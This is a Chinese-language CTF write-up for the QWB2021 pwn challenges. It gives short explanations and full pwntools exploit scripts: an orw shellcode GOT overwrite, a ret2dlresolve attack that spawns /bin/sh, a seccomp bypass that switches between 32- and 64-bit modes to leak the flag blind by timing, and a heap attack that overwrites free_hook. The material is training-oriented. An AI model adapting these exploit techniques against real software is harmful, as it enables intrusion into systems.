title: QWB2021 date: 2021-06-14 14:49:43 tags: layout: default —- qwb2021 pwn

QWB

prologue

比赛的时候只会做简单题,现在复现一下题目,感觉跟不上时代了。

orw | 183 Solved | 50pt

libc-2.23& export LD_PRELOAD=./libseccomp.so.0

没有开 nxfull relro所以可以直接写掉got + orw

shellcodefrom pwn import *
context.log_level='debug'
context.arch='amd64'
def cmd(c):
	p.sendlineafter(">>\n",str(c))
def add(idx,c="A\n",size=8):
	cmd(1)
	p.sendlineafter(":\n",str(idx))
	p.sendlineafter(":\n",str(size))
	p.sendafter(":\n",c)
def free(idx):
	cmd(4)
	p.sendlineafter(":\n",str(idx))
#p=remote("39.105.131.68",12354)
p=process("./pwn")
sh='''
push rsp
pop rsi
push rdi
pop rax
push rdi
pop rdx
jmp .+0x1a
'''
add(-13,asm(sh).ljust(8,'\x90'))
sh='''
mov dl,0xff
syscall
call rsp
'''
add(0,asm(sh).ljust(8,'\x90'))
#gdb.attach(p,'')
cmd(5)
sh =shellcraft.open('./flag',0,0)
sh+=shellcraft.read('rax','rbp',0x100)
sh+=shellcraft.write(1,'rbp',0x100)
p.send(asm(sh))
p.interactive()

no_output | 144 Solved | 62pt

没给libc比赛的时候队友做的,我赛后本来想着如果read和write前面3字节一样的话可以改最后1字节,但是比赛环境好像没了;顺便学习了 nu1l 的做法用 ret2dlresolve 直接用了工具发现挺好用的可以学习下;再顺便复习了下ret2dlresolve ,万分懊悔自己做的时候没想起来。

复习连接:

本题比较简单可以只用最后一个洞利用 最大负数 除以 -1来触发。

from pwn import *
context.log_level='debug'
context.arch='i386'
p=process("./pwn")

#gdb.attach(p,'b *0x8049268')
#p=remote("39.105.138.97","1234")
p.send("\0".ljust(0x30,'\0'))
p.send("\0".ljust(0x20,'\0'))
p.sendline("-2147483648")
p.sendline("-1")
rop = ROP("./pwn")
elf = ELF("./pwn")
dlresolve = Ret2dlresolvePayload(elf,symbol="execve",args=["/bin/sh",0,0])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
payload ='\0'*0x4c+str(rop)
p.send(payload.ljust(0x100))
p.send(dlresolve.payload)
	
p.interactive()

shellcode | 94 Solved | 89pt

可以直接写shellcode但是需要绕seccomp

规则如下:

  Desktop seccomp-tools dump ./shellcode
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0008
 0002: 0x15 0x05 0x00 0x00000025  if (A == alarm) goto 0008
 0003: 0x15 0x03 0x00 0x00000004  if (A == stat) goto 0007
 0004: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0008
 0005: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0008
 0006: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW

知道了没有限制arch,且开着openat的64调用号为5,而5恰好是open的32调用号就没什么好讲的。利用 retf 转64到32 open了文件之后转回去read,在用基于时间的盲打。

记得要保证pc和stack在转换的时候向下兼容,否则寻不到地址了。

#FROM BETEMAO
to32:                           ;;CPU模式转换为32
    mov DWORD [rsp+4],0x23      ;;32
    retf
to64:                           ;;CPU模式转换为64
    mov DWORD [esp+4],0x33      ;;64
    retf

用pwntools的asm好像我用的不对转不了,我用nasm编译取出来的。

64位nasm -f elf64 ./sh.asm

to32:’\xC7\x44\x24\x04\x23\x00\x00\x00\xCB’

to64:’\xC7\x44\x24\x04\x33\x00\x00\x00\xCB’

EXP 如下,

from pwn import *
#context.log_level='debug'
context.arch='amd64'
def tran(x):
	res=0
	j=0
	for i in x:

		res+=ord(i)*pow(0x100,j)
			
		j+=1
	return (res)
def exp(offset,value):
	#p=process('./pwn')
	p=remote("39.105.137.118",50050)

	sh='''
	push r11
	pop rdx
	pop rdi
	pop rdi
	push rbx
	pop rax
	xor rax,0x33333333
	xor rax,0x3333337b
	push rax
	pop rsp
	xor rax,0x33333333
	xor rax,0x33333353
	push rax
	pop rsi
	'''#rdx=0x246 rdi=0 rsi->flag

	sh+='''
	push rdi
	pop rax
	xor rax,0x33333333
	xor rax,0x3333363c
	push rax
	xor rax,0x33333333
	xor rax,0x3333363c
	'''#set syscall

	code=asm(sh)
	for x in code:
		if(ord(x)<=0x1f or ord(x) >= 0x7f):
			exit(1)
	"""
	gdb.attach(p,
	'''
	b *0x00000000040026D
	c
	stepi 67
	''')
	"""
	p.send(code.ljust(0x360,'['))
	#raw_input()
	sh='''
	xor rax,rax
	mov rax,0x9
	mov rdi,0xdead0000
	mov rsi,0x1000
	mov rdx,0x7
	mov r8,0xFFFFFFFF
	mov r9,0
	mov r10,0x22
	syscall
	mov rsp,0xdead0900
	mov rsi,0xdead0100
	mov rdi,0
	mov rax,0
	mov rdx,0x100
	syscall
	mov rax,0xdead0100
	call rax 
	'''.format(tran("./flag"))

	p.send(("\x90"*0x20+asm(sh)).ljust(0x246,'\x90'))
	code="\x83\xc0\x20P\xc7\x44\x24\x04\x23\x00\x00\x00\xcb".ljust(0x20,'\x90')
	code+="\xb8\x05\x00\x00\x001\xd21\xc9\xbb\x80\x01\xad\xde\xcd\x80"+"h\x88\x01\xad\xde"+"\xc7\x44\x24\x04\x33\x00\x00\x00\xcb"
	# A+B+C A=open B=push 0xdead0188 C==ret2x64
	#offset=0
	value=ord(value)
	whosback='''
	mov rdi,0x3
	mov rsi,0xdead0300
	mov rdx,0x300
	mov rax,0x0
	syscall
	add rsi,{}
	mov al,byte ptr[rsi]
	cmp al,{}
	LOOP:
	je LOOP
	hlt
	'''.format(offset,value)
	try:
		p.sendline(code.ljust(0x80,'\x90')+'./flag\0\0'+asm(whosback))
		p.readline()
		p.interactive()
	except Exception:
		p.close()
payload="{}"+"abcdefghijklmnopqrstuvwxyz"+"abcdefghijklmnopqrstuvwxyz".upper()+"0123456789"
payload='abcdef0123456789'+"{}"
flag='flag{cdc31bf52a72521c93b690ad1978856d}'
for x in (payload):
	print(x)
	exp(len(flag),x)

baby_diary | 69 Solved | 114pt

passage

from pwn import *
context.arch='amd64'
def cmd(c):
    p.sendlineafter(">> ",str(c))
def add(size,c='A\n'):
    cmd(1)
    p.sendlineafter(": ",str(size-1))
    p.sendafter(": ",c)
def free(c):
    cmd(3)
    p.sendlineafter(": ",str(c))
def show(c):
    cmd(2)
    p.sendlineafter(": ",str(c))
p=process("./pwn")
#context.log_level='debug'
add(0xd60)#0
add(0x6f8+0x20)#1
add(0x208)#2
add(0x488)#3
add(0x28)#4
free(1)
add(0xAAA)#1
add(0x18,"A\n")#5
add(0xAAA)#6
add(0x28,p64(1+0xd)+p64(0x901)+b'\x18'+b'\n')#7
for x in range(8,8+8):
    add(0x28)
for x in range(8,8+8):
    free(x)
free(7)
for x in range(7,7+7):
    add(0x28)
add(0x28,'\x30\n')#14
free(2)
add(0x208,'\0'*0x207)#2
free(2)
add(0x208,'\0'*0x1ff+'\x09'+'\n')#2
# context.terminal=['tmux','split']
# gdb.attach(p,'''
# set *0x55555555a040=0x000055555555a018
# set *0x000055555555a030=0x000055555555a030
# q
# ''')
context.terminal=['tmux','split','-h']
free(3)
add(0x548)#3
context.log_level='debug'
add(0x28,'A'*0x16+'\n')#15
add(0x160)#16
#raw_input()
show(15)
p.readuntil(": ")
base=u64(p.readline()[:-1]+b'\0\0')-(0x7f83ef52dbe0-0x7f83ef342000)
log.warning(hex(base))
#gdb.attach(p)
add(0x28)#17
add(0x28)#18
add(0x28)#19
add(0x28)#20
for x in range(7,7+6):
    free(x)
free(18)
free(20)
free(15)
show(17)
p.readuntil(": ")
heap=u64(p.readline()[:-1]+b'\0\0')-0x1230
log.warning(hex(heap))
free(19)
free(17)
for x in range(7,7+6):
    add(0x28)
add(0x28)#15
add(0x28,p64(base+0x1eeb28)+b'\n')#17 - > free hook 
add(0x28,'/bin/sh\0\n')#18
add(0x28)#19
add(0x28,p64(base+0x55410)+b'\n')#20
#gdb.attach(p,'b free')
free(18)
p.interactive()